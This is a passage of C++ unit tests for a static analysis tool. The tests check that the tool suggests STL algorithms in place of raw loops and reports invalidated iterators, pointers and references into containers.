ASSERT_EQUALS(\"\", errout_str());\n\n // There is no transform_if\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x++;\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" if(x) { return; }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (!g(i))\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5)\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (style) Consider using std::any_of, std::all_of, std::none_of algorithm instead of a raw loop.\\n\",\n \"\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5) {\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector v0, v1;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void T::g() {\\n\"\n \" for (std::vector::const_iterator it0 = v0.cbegin(); it0 != v0.cend(); ++it0) {\\n\"\n \" std::vector::iterator it1;\\n\"\n \" for (it1 = v1.begin(); it1 != v1.end(); ++it1)\\n\"\n \" if (*it0 == *it1)\\n\"\n \" break;\\n\"\n \" if (it1 != v1.end())\\n\"\n \" v1.erase(it1);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(const std::set& set, const std::string& f) {\\n\" // #11595\n \" for (const std::string& s : set) {\\n\"\n \" if (f.length() >= s.length() && f.compare(0, s.length(), s) == 0) {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #12064\n \" for (const auto& animal : { \\\"cat\\\", \\\"bat\\\", \\\"tiger\\\", \\\"rat\\\" })\\n\"\n \" if (std::strlen(animal) > 4)\\n\"\n \" throw 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& v, const std::vector& w, int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] == w[i])\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (g(i))\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"bool f(const std::vector&v, int n) {\\n\"\n \" bool b{};\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" if (v[i] > 0 && g(i)) {\\n\"\n \" b = true;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoMinMax() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int m) {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > m ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #9091\n \" int maxY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y > maxY)\\n\"\n \" maxY = y;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int minY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y < minY)\\n\"\n \" minY = y;\\n\"\n \" }\\n\"\n \" return minY;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int max = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" max = v[i] > max ? v[i] : max;\\n\"\n \" return max;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int min = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" min = v[i] < min ? v[i] : min;\\n\"\n \" return min;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n }\n\n void loopAlgoMultipleReturn()\n {\n check(\"bool f(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 0)\\n\"\n \" continue;\\n\"\n \" if (i)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return true;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(std::vector& v) {\\n\"\n \" for (auto& i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" j++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int& k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int* k = &j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" (*k)++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"class C {\\n\"\n \"private:\\n\"\n \" QString s;\\n\"\n \"public:\\n\"\n \" C(QString);\\n\"\n \"private:\\n\"\n \" void f() {\\n\"\n \" QVERIFY(QDir(s).exists());\\n\"\n \" }\\n\"\n \" void f(const QStringList& d) {\\n\"\n \" for (QString f : d)\\n\"\n \" QDir(s);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void invalidContainer() {\n check(\"void f(std::vector &v) {\\n\"\n \" auto v0 = v.begin();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << *v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:22] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"std::string e();\\n\"\n \"void a() {\\n\"\n \" std::vector b;\\n\"\n \" for (std::vector::const_iterator c; c != b.end(); ++c) {\\n\"\n \" std::string f = e();\\n\"\n \" std::string::const_iterator d = f.begin();\\n\"\n \" if (d != f.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int *v0 = &v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:15] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:20]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:13] -> [test.cpp:3:17] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:2:17] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" std::vector *v0 = &v;\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const std::vector * g(int);\\n\"\n \"void f() {\\n\"\n \" const std::vector *v = g(1);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" }\\n\"\n \"\\n\"\n \" v = g(2);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" if (m == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector g();\\n\"\n \"void f() {\\n\"\n \" std::vector x = g();\\n\"\n \" const std::string& y = x[1];\\n\"\n \" std::string z;\\n\"\n \" z += \\\"\\\";\\n\"\n \" z += y;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v)\\n\"\n \"{\\n\"\n \" auto *cur = v.data();\\n\"\n \" auto *end = cur + v.size();\\n\"\n \" while (cur < end) {\\n\"\n \" v.erase(v.begin(), FindNext(v));\\n\"\n \" cur = v.data();\\n\"\n \" end = cur + v.size();\\n\"\n \" }\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9598\n check(\"void f(std::vector v) {\\n\"\n \" for (auto it = v.begin(); it != v.end(); it = v.erase(it))\\n\"\n \" *it;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9714\n check(\"void f() {\\n\"\n \" auto v = std::vector();\\n\"\n \" std::string x;\\n\"\n \" v.push_back(x.insert(0, \\\"x\\\"));\\n\"\n \" v.push_back(\\\"y\\\");\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9783\n check(\"std::string GetTaskIDPerUUID(int);\\n\"\n \"void InitializeJumpList(CString s);\\n\"\n \"void foo() {\\n\"\n \" CString sAppID = GetTaskIDPerUUID(123).c_str();\\n\"\n \" InitializeJumpList(sAppID);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n // #9796\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" std::shared_ptr a = std::make_shared();\\n\"\n \" v.push_back(a);\\n\"\n \" std::shared_ptr b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9780\n check(\"int f() {\\n\"\n \" std::vector vect;\\n\"\n \" MyStruct info{};\\n\"\n \" info.vect = &vect;\\n\"\n \" vect.push_back(1);\\n\"\n \" return info.ret;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9133\n check(\"struct Fred {\\n\"\n \" std::vector v;\\n\"\n \" void foo();\\n\"\n \" void bar();\\n\"\n \"};\\n\"\n \"void Fred::foo() {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar();\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void Fred::bar() {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:44] -> [test.cpp:8:5] -> [test.cpp:12:7] -> [test.cpp:9:5]: (error) Using iterator to member container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void foo(std::vector& v) {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar(v);\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void bar(std::vector& v) {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:29] -> [test.cpp:2:44] -> [test.cpp:3:5] -> [test.cpp:7:7] -> [test.cpp:1:28] -> [test.cpp:4:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #10264\n check(\"void f(std::vector& x) {\\n\"\n \" struct I {\\n\"\n \" std::vector *px{};\\n\"\n \" };\\n\"\n \" I i = { &x };\\n\"\n \" x.clear();\\n\"\n \" Parse(i);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::string x;\\n\"\n \" struct V {\\n\"\n \" std::string* pStr{};\\n\"\n \" };\\n\"\n \" struct I {\\n\"\n \" std::vector v;\\n\"\n \" };\\n\"\n \" I b[] = {{{{ &x }}}};\\n\"\n \" x = \\\"Arial\\\";\\n\"\n \" I cb[1];\\n\"\n \" for (long i = 0; i < 1; ++i)\\n\"\n \" cb[i] = b[i];\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9836\n check(\"void f() {\\n\"\n \" auto v = std::vector >{ std::vector{ \\\"hello\\\" } };\\n\"\n \" auto p = &(v.at(0).at(0));\\n\"\n \" v.clear();\\n\"\n \" std::cout << *p << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:24] -> [test.cpp:3:18] -> [test.cpp:3:14] -> [test.cpp:4:7] -> [test.cpp:2:10] -> [test.cpp:5:19]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" return a.i->front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"void g(const std::vector& v);\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" g(a);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10984\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto g = [&v]{};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [&]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:3:33] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [=]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int* p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" A a{v.data()};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:15] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int*& p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto* p = v.data();\\n\"\n \" A a{p};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:6:21] -> [test.cpp:7:9] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #11028\n check(\"void f(std::vector c) {\\n\"\n \" std::vector d(c.begin(), c.end());\\n\"\n \" c.erase(c.begin());\\n\"\n \" d.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11147\n check(\"void f(std::string& s) {\\n\"\n \" if (!s.empty()) {\\n\"\n \" std::string::iterator it = s.begin();\\n\"\n \" s = s.substr(it - s.begin());\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:13]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n // #11630\n check(\"int main(int argc, const char* argv[]) {\\n\"\n \" std::vector args(argv + 1, argv + argc);\\n\"\n \" args.push_back(\\\"-h\\\");\\n\"\n \" args.front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #13108\n \" auto it = unknown(v);\\n\"\n \" auto w = std::vector{ it, v.end() };\\n\"\n \" v.erase(it, v.end());\\n\"\n \" for (const auto& i : w) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13410\n check(\"int f(std::vector& v) {\\n\"\n \" const int* i = &*v.cbegin();\\n\"\n \" v.push_back(1);\\n\"\n \" return *i;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:26] -> [test.cpp:2:30] -> [test.cpp:1:26] -> [test.cpp:2:20] -> [test.cpp:2:20] -> [test.cpp:3:7] -> [test.cpp:1:25] -> [test.cpp:4:13]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #9834\n check(\"struct CJ {\\n\"\n \" std::string m_string1 = \\\"hello\\\";\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" std::vector vec1;\\n\"\n \" vec1.push_back(CJ());\\n\"\n \" auto& a_ref = vec1.at(0).m_string1;\\n\"\n \" vec1.clear();\\n\"\n \" std::cout << a_ref << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:17] -> [test.cpp:7:24] -> [test.cpp:8:10] -> [test.cpp:9:18]: (error) Reference to vec1 that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n }\n\n void invalidContainerLoop() {\n // #9435\n check(\"void f(std::vector v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 5)\\n\"\n \" v.push_back(i * 2);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:15]: (error) Calling 'push_back' while iterating the container is invalid. [invalidContainerLoop]\\n\", errout_str());\n\n // #9713\n check(\"void f() {\\n\"\n \" std::vector v{1, 2, 3};\\n\"\n \" for (int i : v) {\\n\"\n \" if (i == 2) {\\n\"\n \" v.clear();\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void add(int i) {\\n\"\n \" v.push_back(i);\\n\"\n \" } \\n\"\n \" void f() {\\n\"\n \" for(auto i:v)\\n\"\n \" add(i);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:7] -> [test.cpp:7:5] -> [test.cpp:8:7]: (error) Calling 'add' while iterating the container is invalid. [invalidContainerLoop]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #14013\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r = v.emplace_back(std::make_unique());\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r{ 